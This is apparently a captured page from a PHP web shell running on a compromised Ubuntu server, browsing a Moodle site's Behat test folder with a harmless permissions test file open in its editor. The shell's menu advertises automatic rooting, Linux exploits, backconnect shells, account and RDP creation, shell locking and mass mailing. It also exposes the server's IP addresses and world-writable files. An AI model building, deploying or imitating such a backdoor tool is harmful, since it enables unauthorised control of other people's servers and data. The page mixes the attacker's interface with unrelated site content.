Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
behat /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
fixtures
[ DIR ]
drwxrwxrwx
data_generators.feature
18.51
KB
-rwxrwxrwx
datetime_strings.feature
1.08
KB
-rwxrwxrwx
edit_permissions.feature
4.52
KB
-rwxrwxrwx
get_and_set_fields.feature
10.55
KB
-rwxrwxrwx
get_and_set_fields_in_containe...
1.5
KB
-rwxrwxrwx
i_am_on_page.feature
5.18
KB
-rwxrwxrwx
inplaceeditable.feature
1.29
KB
-rwxrwxrwx
keyboard.feature
1.93
KB
-rwxrwxrwx
list_steps.feature
1.88
KB
-rwxrwxrwx
loginout.feature
4.4
KB
-rwxrwxrwx
manipulate_forms.feature
1.2
KB
-rwxrwxrwx
nasty_strings.feature
2.38
KB
-rwxrwxrwx
test_environment.feature
304
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_permissions.feature
@tool @tool_behat Feature: Edit capabilities In order to extend and restrict moodle features As an admin or a teacher I need to allow/deny the existing capabilities at different levels Background: Given the following "users" exist: | username | firstname | lastname | | teacher1 | Teacher | 1 | | tutor | Teaching | Assistant | | student | Student | One | And the following "courses" exist: | fullname | shortname | | Course 1 | C1 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | tutor | C1 | teacher | | student | C1 | student | Scenario: Default system capabilities modification Given I log in as "admin" And I navigate to "Users > Permissions > Define roles" in site administration And I click on "Edit Teacher role" "link" And I fill the capabilities form with the following permissions: | capability | permission | | block/mnet_hosts:myaddinstance | Allow | | moodle/site:messageanyuser | Inherit | | moodle/grade:managesharedforms | Prevent | | moodle/course:request | Prohibit | And I press "Save changes" When I follow "Edit Teacher role" Then "block/mnet_hosts:myaddinstance" capability has "Allow" permission And "moodle/site:messageanyuser" capability has "Not set" permission And "moodle/grade:managesharedforms" capability has "Prevent" permission And "moodle/course:request" capability has "Prohibit" permission Scenario: Course capabilities overrides Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Users > Permissions" in current page administration And I override the system permissions of "Student" role with: | mod/forum:deleteanypost | Prohibit | | mod/forum:editanypost | Prevent | | mod/forum:addquestion | Allow | When I set the field "Advanced role override" to "Student (3)" And I press "Go" Then "mod/forum:deleteanypost" capability has "Prohibit" permission And "mod/forum:editanypost" capability has "Prevent" permission And "mod/forum:addquestion" capability has "Allow" permission Scenario: Module capabilities overrides Given the following "activity" exists: | activity | forum | | course | C1 | | idnumber | 00001 | | name | I'm the name | And I am on the "I'm the name" "forum activity" page logged in as teacher1 And I navigate to "Permissions" in current page administration And I override the system permissions of "Student" role with: | mod/forum:deleteanypost | Prohibit | | mod/forum:editanypost | Prevent | | mod/forum:addquestion | Allow | When I set the field "Advanced role override" to "Student (3)" And I click on "Go" "button" in the "region-main" "region" Then "mod/forum:deleteanypost" capability has "Prohibit" permission And "mod/forum:editanypost" capability has "Prevent" permission And "mod/forum:addquestion" capability has "Allow" permission @javascript Scenario: Edit permissions escapes role names correctly When I am on the "C1" "Course" page logged in as "admin" And I navigate to "Edit settings" in current page administration And I set the following fields to these values: | Your word for 'Teacher' | Teacher >= editing | | Your word for 'Non-editing teacher' | Teacher < "editing" | | Your word for 'Student' | Studier & 'learner' | And I press "Save and display" And I navigate to course participants Then I should see "Teacher >= editing" in the "Teacher 1" "table_row" And I should see "Teacher < \"editing\"" in the "Teaching Assistant" "table_row" And I should see "Studier & 'learner'" in the "Student One" "table_row" And I navigate to "Users > Permissions" in current page administration And I should see "Teacher >= editing" in the "mod/forum:replypost" "table_row" And I should see "Teacher < \"editing\"" in the "mod/forum:replypost" "table_row" And I should see "Studier & 'learner'" in the "mod/forum:replypost" "table_row" And I follow "Prohibit" And "Teacher >= editing" "button" in the "Prohibit role" "dialogue" should be visible And "Teacher < \"editing\"" "button" in the "Prohibit role" "dialogue" should be visible And "Studier & 'learner'" "button" in the "Prohibit role" "dialogue" should be visible
Close